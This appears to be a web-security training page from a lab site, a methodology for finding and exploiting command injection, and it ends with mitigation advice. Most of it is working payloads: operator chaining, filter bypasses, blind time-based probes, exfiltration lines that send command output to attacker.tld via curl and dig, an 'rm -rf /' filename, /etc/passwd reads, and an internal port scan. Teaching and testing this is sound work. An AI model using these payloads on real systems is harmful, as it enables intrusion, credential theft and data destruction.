Quick answer
Command injection happens when user input reaches the server's shell without sanitization. Typical vectors: endpoints that pass to system(), exec(), popen(), or command construction for converters (ImageMagick, ffmpeg, ping, traceroute). The bypasses focus on chaining operators (;|&), alternative spaces (${IFS}, $@), encoding (URL, hex), and output redirection when there is no visible output.
Typical vectors
Endpoints that call the shell:
- Network tools:
ping,traceroute,nslookup— the input is the IP/host. - File converters: ImageMagick (
convert input.jpg ... output.png), ffmpeg, LibreOffice. - Backups / restore: file paths in the DB/filesystem.
- Admin endpoints: deploy, restart service, logs (
tail -f /logs/<service>). - PDF generators:
wkhtmltopdf <url>, headless Chrome.
Any endpoint that takes "as long as a command takes" (not milliseconds, but seconds) is a candidate.
Basic injection
If ?host=8.8.8.8 runs as ping -c 1 8.8.8.8, try:
?host=8.8.8.8;id
?host=8.8.8.8|id
?host=8.8.8.8&id
?host=8.8.8.8&&id
?host=8.8.8.8`id`
?host=8.8.8.8$(id)
?host=8.8.8.8\nid (URL-encoded \n = %0a)
The one that returns the output of id (or an error revealing it) confirms RCE.
Common bypasses
1. Without spaces
If the filter blocks the space:
{IFS} # Internal Field Separator
${IFS} # también funciona
$IFS # bash interpola
$IFS$9 # IFS + var $9 (vacía) → separador
{cmd,arg1,arg2} # brace expansion: ls{,/etc}
%09 # tab URL-encoded (a veces parseado como espacio)
Example:
# Original: ping -c 1 $host
# Filtra espacios
?host=8.8.8.8;id${IFS}-u
?host=8.8.8.8;cat${IFS}/etc/passwd
?host=8.8.8.8;{cat,/etc/passwd}
2. Without special characters (;|& filtered)
\n(%0a): a newline sometimes passes filters that only block an explicit list.- Subshell with backticks:
\id``. - Subshell with
$():$(id). - Conditional AND:
&& id(if only one&is filtered).
3. Encoded payloads
- URL-encoded:
%3B(;),%7C(|),%26(&),%24%28...%29($(...)). - Double URL-encoded:
%253Bwhen the app decodes twice. - Hex: in curl
\x3bfor;.
4. Output redirection when you can't see the response
If the endpoint doesn't return stdout, redirect to an accessible file:
?host=8.8.8.8;id>/var/www/html/out.txt
# Luego curl https://target.tld/out.txt
Or DNS exfiltration:
?host=8.8.8.8;`id|head -c 30|base64|tr -d '='|tr '+' '_'|read v;curl $v.attacker.tld`
?host=8.8.8.8;dig $(id|md5sum|cut -d' ' -f1).attacker.tld
?host=8.8.8.8;curl attacker.tld/$(whoami)
Burp Collaborator is ideal for seeing the DNS hits.
Blind command injection
When there is no output or obvious latency, use time-based:
?host=8.8.8.8;sleep 10
?host=8.8.8.8;ping -c 10 127.0.0.1
?host=8.8.8.8;`sleep${IFS}10`
If the response takes 10s vs <1s normally → confirmed.
Specific patterns
ImageMagick — MSL and ephemeral:
ImageMagick has operators that execute code. Classic vector via SVG with MSL or paths with ephemeral::
ephemeral:|id
MSL[script with system call]
CVE-2016-3714 (ImageTragick) is still present in unpatched versions.
convert input.jpg output.png with a controlled name
If the output filename is controlled:
filename = "shell.png\";id;\""
# Ejecuta como: convert input.jpg "shell.png";id;""
Broken quoting → injection.
ffmpeg with SSRF + RCE
ffmpeg with concat can read arbitrary files or connect to URLs:
file 'https://attacker.tld/payload.mp4'
file '|id' (in some pipelines)
CVE-2017-7670 and derivatives.
Injectable filename
Any endpoint that passes an uploaded filename to a shell command:
filename = "x.jpg; rm -rf /"
# system("convert " + filename + " out.png")
If the app doesn't escape it, direct RCE.
Cases where RCE isn't direct but still has impact
- Arbitrary file reading via
cat /etc/passwdor redirection. - Server-side request forgery via
curl http://internal:8080/admin. - Discovery of internal hosts via
for ip in 10.0.0.{1..254}; do nc -zv $ip 22; done. - Dump of environment variables via
env(includes AWS keys, DB credentials).
Each one has its own severity even without escalating to full RCE.
Blind detection
When you can't easily confirm:
- Burp Collaborator OOB —
?host=$(curl${IFS}<random>.collab.tld)and observe whether a DNS/HTTP hit arrives. - Time-based with different
sleepvalues to confirm (3s, 5s, 7s, measure each). - Output redirection to a web-accessible path and read it.
Hunting checklist
- Are there endpoints with input that looks like an IP, hostname, filename, URL, path?
- Does the response take a while (>500ms) for no obvious reason? Try injecting with
;sleep 5. - Does the app use converters (image/video/PDF)? Likely vector.
- Are there "diagnostic" endpoints in admin (ping internal IP, check DNS, etc)?
- Does the filter block
;|&but leave\nor backticks? - If there's no output, try OOB (DNS) and output redirection?
- Is the uploaded file's filename used in any shell command?
Correct mitigation
- Never build shell commands with string concatenation. Use native APIs (
net.sendtoinstead ofsystem("ping")). - If unavoidable (legacy), pass args as an array (not a concatenated string):
execFile('ping', ['-c', '1', host])in Node.js. - Strict whitelist of the input (only valid IPs, only filenames with
[a-zA-Z0-9._-]). - Run the binary in a restricted sandbox/container (not as root).
Related labs
Practice command injection with filter bypasses, OOB exfiltration and blind detection: Command Injection labs.
Practice this in a lab
Command Injection
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
SQL Injection — complete methodology with time-based, UNION and RCE
Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.
RCE in a Python sandbox — from the bot editor to the server shell
An AI platform's Python sandbox didn't block os.popen(). Two lines of Python to run system commands, read environment variables and fingerprint the runtime.
SSTI — Server-Side Template Injection in Jinja2, Twig, Velocity and Freemarker
Detection with polyglots, engine identification, escalation to RCE in Jinja2/Python, Twig/PHP, Velocity/Java. Patterns where user input reaches templates.